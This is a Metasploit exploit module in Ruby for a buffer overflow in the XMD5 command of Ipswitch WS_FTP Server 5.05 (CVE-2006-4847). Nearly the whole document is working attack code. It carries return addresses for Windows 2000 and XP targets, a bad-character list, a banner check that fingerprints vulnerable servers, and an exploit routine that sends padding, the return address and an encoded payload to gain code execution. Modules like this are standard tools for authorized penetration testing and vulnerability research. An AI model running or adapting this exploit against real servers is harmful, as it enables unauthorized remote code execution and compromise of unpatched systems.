Ipswitch WS_FTP Server 5.05 XMD5 Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the XMD5 verb in
          IPSWITCH WS_FTP Server 5.05.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-4847' ],
          [ 'OSVDB', '28939' ],
          [ 'BID', '20076' ],
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 300,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
          [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],
          [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],

        ],
        'DisclosureDate' => '2006-09-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect
    disconnect
    if (banner =~ /WS_FTP Server 5\.0\.5/)
      return Exploit::CheckCode::Appears('FTP banner indicates WS_FTP Server 5.0.5')
    end

    return Exploit::CheckCode::Safe('FTP banner does not match WS_FTP Server 5.0.5')
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    sploit = rand_text_alphanumeric(676, payload_badchars)
    sploit << [target.ret].pack('V') + payload.encoded

    send_cmd(['XMD5', sploit], false)

    handler
    disconnect
  end
end